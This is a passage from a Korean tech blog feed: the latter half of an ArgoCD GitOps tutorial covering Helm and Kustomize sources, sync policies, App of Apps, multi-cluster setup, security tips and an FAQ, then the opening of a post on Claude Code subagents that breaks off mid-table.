&lt;p&gt;UI(&lt;code class=&quot;language-text&quot;&gt;https://localhost:8080&lt;/code&gt;)에서는 &lt;strong&gt;트리 형태로 Deployment → ReplicaSet → Pod&lt;/strong&gt;까지 시각화됩니다. &lt;code class=&quot;language-text&quot;&gt;k9s&lt;/code&gt;와는 다른 축의 시각화라 둘 다 쓰는 게 편합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Helm / Kustomize 조합 — 실무의 80%&lt;/h2&gt;
&lt;p&gt;ArgoCD는 Git 레포 안에서 &lt;strong&gt;자동으로 Helm Chart·Kustomize를 감지&lt;/strong&gt;합니다.&lt;/p&gt;
&lt;h3&gt;Helm Chart를 ArgoCD로 배포&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;repoURL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; https&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;//github.com/javapark/k8s&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;manifests.git
    &lt;span class=&quot;token key atrule&quot;&gt;targetRevision&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; main
    &lt;span class=&quot;token key atrule&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; charts/my&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;app
    &lt;span class=&quot;token key atrule&quot;&gt;helm&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;valueFiles&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; values.yaml
        &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; values&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;prod.yaml
      &lt;span class=&quot;token key atrule&quot;&gt;parameters&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; image.tag
          &lt;span class=&quot;token key atrule&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; v1.2.4&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;외부 Helm 리포도 가능:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;repoURL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; https&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;//charts.bitnami.com/bitnami
    &lt;span class=&quot;token key atrule&quot;&gt;chart&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx
    &lt;span class=&quot;token key atrule&quot;&gt;targetRevision&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 15.4.4
    &lt;span class=&quot;token key atrule&quot;&gt;helm&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;valueFiles&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; $values/charts/nginx/values&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;prod.yaml
  &lt;span class=&quot;token key atrule&quot;&gt;sources&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# 멀티 소스 — chart는 bitnami, values는 내 레포&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;repoURL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; https&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;//charts.bitnami.com/bitnami
      &lt;span class=&quot;token key atrule&quot;&gt;chart&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx
      &lt;span class=&quot;token key atrule&quot;&gt;targetRevision&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 15.4.4
    &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;repoURL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; https&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;//github.com/javapark/k8s&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;manifests.git
      &lt;span class=&quot;token key atrule&quot;&gt;targetRevision&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; main
      &lt;span class=&quot;token key atrule&quot;&gt;ref&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; values&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Kustomize&lt;/h3&gt;
&lt;p&gt;overlay 경로만 지정하면 끝:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; apps/my&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;app/overlays/prod
  &lt;span class=&quot;token comment&quot;&gt;# ArgoCD가 kustomization.yaml을 자동 인식&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Helm vs Kustomize 선택 기준은 이전 &lt;a href=&quot;/helm-package-management/&quot;&gt;Helm 편&lt;/a&gt;에서 다뤘습니다.&lt;/strong&gt; ArgoCD는 둘 다 native 지원하므로 팀 취향대로 가시면 됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Sync 정책 상세 — Auto-Sync, Prune, Self-Heal&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;옵션&lt;/th&gt;
&lt;th&gt;효과&lt;/th&gt;
&lt;th&gt;운영 권장&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;automated&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Git 변경 감지 시 자동 Sync&lt;/td&gt;
&lt;td&gt;dev/staging: ✓ / prod: 초기엔 manual, 익숙해지면 ✓&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;prune&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Git에서 삭제된 리소스를 클러스터에서도 삭제&lt;/td&gt;
&lt;td&gt;실수 방지 위해 &lt;strong&gt;PR 병합 단계에서만&lt;/strong&gt; 허용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;selfHeal&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;누군가 &lt;code class=&quot;language-text&quot;&gt;kubectl edit&lt;/code&gt;로 수동 변경한 걸 Git 상태로 자동 복원&lt;/td&gt;
&lt;td&gt;prod 필수. &lt;strong&gt;&quot;Git이 진실&quot;을 강제&lt;/strong&gt;하는 핵심 기능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;selfHeal: true&lt;/code&gt;가 GitOps의 꽃입니다. 이게 있으면 &lt;strong&gt;&quot;운영에서 kubectl edit으로 대충 고쳐놓고 Git에 반영 안 함&quot;&lt;/strong&gt; 패턴이 원천 차단됩니다.&lt;/p&gt;
&lt;h3&gt;Sync Waves — 순서가 중요한 경우&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;argocd.argoproj.io/sync-wave&lt;/code&gt; 애노테이션으로 리소스별 적용 순서를 지정:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;annotations&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;argocd.argoproj.io/sync-wave&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;-1&quot;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# 먼저 적용&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;예: &lt;strong&gt;Namespace(wave -2) → ConfigMap(wave -1) → Deployment(wave 0)&lt;/strong&gt; 순으로 보장.&lt;/p&gt;
&lt;h3&gt;Sync Hooks — DB 마이그레이션 등&lt;/h3&gt;
&lt;p&gt;Pre-Sync, Sync, Post-Sync, Sync-Fail 훅으로 Job을 끼워넣을 수 있습니다. DB 스키마 마이그레이션에 유용:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;annotations&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;argocd.argoproj.io/hook&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; PreSync
    &lt;span class=&quot;token key atrule&quot;&gt;argocd.argoproj.io/hook-delete-policy&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; HookSucceeded&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;App of Apps — ArgoCD 자기 자신 관리하기&lt;/h2&gt;
&lt;p&gt;하나의 &quot;부모&quot; Application이 여러 자식 Application을 Git에서 관리하는 패턴.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;k8s-manifests/
└── apps/
    ├── _bootstrap/
    │   └── applications.yaml   # 부모 App — apps/children/*.yaml 을 감시
    └── children/
        ├── nginx.yaml          # Application (nginx)
        ├── redis.yaml          # Application (redis)
        └── monitoring.yaml     # Application (prometheus + grafana)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;장점:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;새 서비스 추가 = YAML 한 개 PR&lt;/strong&gt;. ArgoCD가 알아서 감지·배포&lt;/li&gt;
&lt;li&gt;ArgoCD 자체 설정도 Git으로 관리 (재설치·클러스터 이관 시 스크립트 재실행 X)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;운영 클러스터 1개당 부모 App 1개 두는 게 표준 패턴입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;멀티 클러스터 운영&lt;/h2&gt;
&lt;p&gt;ArgoCD 한 인스턴스가 여러 클러스터를 관리할 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 클러스터 등록&lt;/span&gt;
argocd cluster &lt;span class=&quot;token function&quot;&gt;add&lt;/span&gt; staging-cluster-context
argocd cluster &lt;span class=&quot;token function&quot;&gt;add&lt;/span&gt; prod-cluster-context

&lt;span class=&quot;token comment&quot;&gt;# 확인&lt;/span&gt;
argocd cluster list&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Application의 &lt;code class=&quot;language-text&quot;&gt;destination.server&lt;/code&gt;만 클러스터 URL로 지정하면:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;destination&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; https&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;//staging&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;cluster.example.com
  &lt;span class=&quot;token key atrule&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; default&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;관리 클러스터는 ArgoCD 없음, 중앙 ArgoCD가 푸시&lt;/strong&gt;하는 구조 — 이걸 &lt;strong&gt;Hub-and-Spoke&lt;/strong&gt;라고 합니다. 소규모에선 단일 클러스터 1:1이 충분하지만, 3개 이상 되면 Hub 구조가 관리 비용을 크게 낮춥니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;보안·운영 팁 5가지&lt;/h2&gt;
&lt;h3&gt;1) UI·API는 SSO 뒤에&lt;/h3&gt;
&lt;p&gt;기본 &lt;code class=&quot;language-text&quot;&gt;admin&lt;/code&gt; 계정은 로컬 전용. 운영에선 &lt;strong&gt;Google/GitHub/SAML OIDC&lt;/strong&gt; 연동. &lt;code class=&quot;language-text&quot;&gt;argocd-cm&lt;/code&gt; ConfigMap에 설정:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;dex.config&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token scalar string&quot;&gt;
    connectors:
      - type: oidc
        id: google
        name: Google
        config:
          issuer: https://accounts.google.com
          clientID: ...&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;2) RBAC는 AppProject로&lt;/h3&gt;
&lt;p&gt;팀별 Project 분리 + &lt;code class=&quot;language-text&quot;&gt;argocd-rbac-cm&lt;/code&gt;으로 역할 정의. &quot;dev 팀은 dev namespace만&quot; 같은 강제.&lt;/p&gt;
&lt;h3&gt;3) Notifications — Slack / Telegram 알림&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://argocd-notifications.readthedocs.io/&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;argocd-notifications&lt;/code&gt;&lt;/a&gt; 컨트롤러로 Sync 실패·Degraded 시 알림.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 예: Telegram&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;service.telegram&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token scalar string&quot;&gt;
  token: $telegram-token
  chatIDs: [&quot;-100123...&quot;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;4) Image Updater — 이미지 자동 갱신&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://argocd-image-updater.readthedocs.io/&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;argocd-image-updater&lt;/code&gt;&lt;/a&gt; 애드온. 컨테이너 레지스트리를 폴링해 &lt;strong&gt;새 이미지 태그를 Git에 자동 PR·커밋&lt;/strong&gt;. Git push → ArgoCD sync가 연쇄로 일어나 완전 자동화 가능.&lt;/p&gt;
&lt;h3&gt;5) 진실의 원천은 Git 하나만&lt;/h3&gt;
&lt;p&gt;&quot;긴급하니 &lt;code class=&quot;language-text&quot;&gt;kubectl edit&lt;/code&gt;&quot; 유혹이 오는 순간이 반드시 옵니다. 그때마다 &lt;strong&gt;selfHeal이 되돌릴 것&lt;/strong&gt;을 기억하세요. 진짜 긴급이면 Git에 핫픽스 커밋 후 sync — 1분이면 됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 겪는 이슈 3가지&lt;/h2&gt;
&lt;h3&gt;1) &quot;Sync는 됐는데 Health가 Degraded&quot;&lt;/h3&gt;
&lt;p&gt;→ 앱 자체 문제. Pod logs·events 확인. ArgoCD는 &quot;Git대로 뿌렸을 뿐&quot; — 앱이 죽는 이유는 Git 상태 밖의 문제(이미지 손상·환경변수 오타·외부 의존성).&lt;/p&gt;
&lt;h3&gt;2) &quot;Sync가 무한 반복된다&quot;&lt;/h3&gt;
&lt;p&gt;→ 컨트롤러나 defaulting webhook이 자동으로 필드를 추가하는데 Git에 없어서 &lt;code class=&quot;language-text&quot;&gt;OutOfSync&lt;/code&gt;가 계속 뜸. &lt;code class=&quot;language-text&quot;&gt;ignoreDifferences&lt;/code&gt;로 특정 필드 제외:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;ignoreDifferences&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;group&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; apps
      &lt;span class=&quot;token key atrule&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Deployment
      &lt;span class=&quot;token key atrule&quot;&gt;jsonPointers&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; /spec/replicas &lt;span class=&quot;token comment&quot;&gt;# HPA가 관리하는 replicas 무시&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;3) &quot;Prune으로 중요한 리소스가 지워졌다&quot;&lt;/h3&gt;
&lt;p&gt;→ &lt;code class=&quot;language-text&quot;&gt;automated.prune: true&lt;/code&gt;의 위험. 학습 단계에선 &lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;syncPolicy.syncOptions: [Validate=true, Prune=false]&lt;/code&gt;&lt;/strong&gt; 로 끄고, 수동 sync 때만 &lt;code class=&quot;language-text&quot;&gt;--prune&lt;/code&gt; 명시. 익숙해지면 자동화.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;h3&gt;Q. Flux와 ArgoCD 중 뭘 써야 하나요?&lt;/h3&gt;
&lt;p&gt;둘 다 GitOps 표준, 기능 유사. 차이:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ArgoCD&lt;/strong&gt;: 강력한 UI, 멀티 테넌시 · 멀티 클러스터에 강함, 학습 곡선 완만&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Flux&lt;/strong&gt;: UI 없음(별도 도구 연동), Helm 네이티브 통합, 경량, Kustomize 생태계에 밀착&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;입문은 ArgoCD 추천.&lt;/strong&gt; UI가 있어서 감 잡기 쉽고, 팀에 공유하기도 편합니다.&lt;/p&gt;
&lt;h3&gt;Q. CI(GitHub Actions)와 역할 분담이 궁금합니다.&lt;/h3&gt;
&lt;p&gt;명확히 나뉩니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CI&lt;/strong&gt;: 빌드·테스트·이미지 푸시 → 성공 시 &lt;strong&gt;manifest 레포의 이미지 태그 업데이트 PR&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CD&lt;/strong&gt;: ArgoCD가 manifest 레포 변경을 감지 → sync&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;CI가 더 이상 &lt;code class=&quot;language-text&quot;&gt;kubectl apply&lt;/code&gt;를 치지 않아서 &lt;strong&gt;클러스터 접근 권한을 CI에 줄 필요가 없어집니다&lt;/strong&gt;. 보안 관점에서 큰 개선.&lt;/p&gt;
&lt;h3&gt;Q. 선언형 대신 CLI로만 배포해도 되나요?&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;argocd app create ...&lt;/code&gt;로 가능하지만 &lt;strong&gt;Application 자체를 Git에 YAML로 넣는 게 원칙&lt;/strong&gt;입니다. 그래야 ArgoCD 재설치·백업 복원·클러스터 이관이 자동화됩니다. 처음엔 CLI로 실험하고 운영은 Application YAML로.&lt;/p&gt;
&lt;h3&gt;Q. Application 수가 많아지면?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;ApplicationSet&lt;/strong&gt;이라는 상위 CRD를 쓰세요. Git 디렉토리 패턴·클러스터 리스트·Pull Request 기반으로 Application을 &lt;strong&gt;자동 생성&lt;/strong&gt;합니다. 마이크로서비스 수십 개 있는 조직에서 필수.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리 — 다음 단계&lt;/h2&gt;
&lt;p&gt;ArgoCD를 붙이면 K8S 운영의 질적 전환이 일어납니다. &quot;Git에 뭔가 있는 것&quot;과 &quot;실제 돌고 있는 것&quot;이 일치하는 상태가 기본값이 되고, 배포 실수의 대부분이 구조적으로 차단됩니다.&lt;/p&gt;
&lt;p&gt;오늘 정리 핵심:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;GitOps는 &lt;strong&gt;&quot;Git을 진실의 원천, 컨트롤러가 클러스터를 수렴&quot;&lt;/strong&gt; 시키는 운영 방식&lt;/li&gt;
&lt;li&gt;ArgoCD 핵심 CRD: &lt;strong&gt;Application · AppProject · (ApplicationSet)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Sync Status와 Health Status는 &lt;strong&gt;별개&lt;/strong&gt; — Degraded + Synced 조합에 주목&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;selfHeal: true&lt;/code&gt;가 GitOps의 진짜 가치&lt;/li&gt;
&lt;li&gt;Helm·Kustomize는 ArgoCD에서 native 지원 — 둘 중 하나 고르면 됨&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Application 자체도 Git으로 관리 (App of Apps)&lt;/strong&gt; — 운영 성숙도의 지표&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;시리즈 다음 주제&lt;/h3&gt;
&lt;ul class=&quot;contains-task-list&quot;&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; kustomize로 환경별 YAML 관리 (Helm과 비교·조합)&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; HPA·VPA로 오토스케일링 구성&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Ingress + cert-manager로 HTTPS 자동화&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Prometheus + Grafana 모니터링 스택&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; ArgoCD ApplicationSet 심화 — 멀티 클러스터 대규모 운영&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;여러분은 ArgoCD를 도입하면서 가장 큰 장벽이 뭐였나요? &quot;운영에서 kubectl edit 습관 못 버리는 것&quot;이 1위일 거라 예상합니다. 댓글로 공유해주시면 다음 편에 반영하겠습니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Claude Code Subagent 완벽 가이드 — 메인 세션 컨텍스트를 지키는 전문 에이전트 활용법]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "Claude Code…]]></description><link>https://blog.javapark.kr/subagent-essential-guide/</link><guid isPermaLink="false">https://blog.javapark.kr/subagent-essential-guide/</guid><pubDate>Tue, 21 Apr 2026 14:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Claude Code로 큰 프로젝트 탐색하다가 컨텍스트가 순식간에 차버린 경험, 한 번씩 있으시죠?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;솔직히 저도 그랬습니다. &lt;code class=&quot;language-text&quot;&gt;Grep&lt;/code&gt;·&lt;code class=&quot;language-text&quot;&gt;Read&lt;/code&gt;로 파일 수십 개 열다 보면 정작 본 작업 시작도 전에 토큰이 반쯤 날아가 있고, 한 세션 안에서 서로 다른 성격의 작업(탐색·계획·리뷰·보안점검)을 섞으면 프롬프트가 중구난방이 됩니다. 디버깅 한 번 하자고 메인 대화 히스토리가 로그로 뒤덮이는 것도 흔한 일이죠.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;Subagent는 &quot;메인 세션과 컨텍스트를 공유하지 않는 독립 에이전트&quot;로, 이 문제를 구조적으로 해결합니다.&lt;/strong&gt; 무거운 탐색·리뷰·연구 작업을 서브 에이전트로 분리하면 결과만 메인으로 돌아오고, 중간 과정은 메인 컨텍스트를 오염시키지 않습니다. 여러 작업을 &lt;strong&gt;병렬로&lt;/strong&gt; 돌릴 수도 있습니다. 오늘은 이 개념부터 커스텀 에이전트 제작, 실전 설계 원칙까지 정리하겠습니다.&lt;/p&gt;
&lt;p&gt;이 포스팅은 &lt;strong&gt;Claude Code Agent 시리즈 1편&lt;/strong&gt;입니다. 다음 편 &lt;a href=&quot;#&quot;&gt;Agent Teams&lt;/a&gt;에서는 &quot;서브 에이전트끼리 서로 통신하는 한 단계 위 개념&quot;을 다룰 예정입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Subagent란? — 한 줄 정의&lt;/h2&gt;
&lt;p&gt;Subagent는 &lt;strong&gt;Claude Code가 메인 세션에서 Task(Agent) 도구로 호출하는 독립된 Claude 인스턴스&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;핵심 3가지 특성:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;특성&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;독립 컨텍스트&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;메인 세션의 대화 기록을 보지 않음. 자체 컨텍스트 윈도우&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;제한된 도구&lt;/strong&gt;&lt;/td&gt;
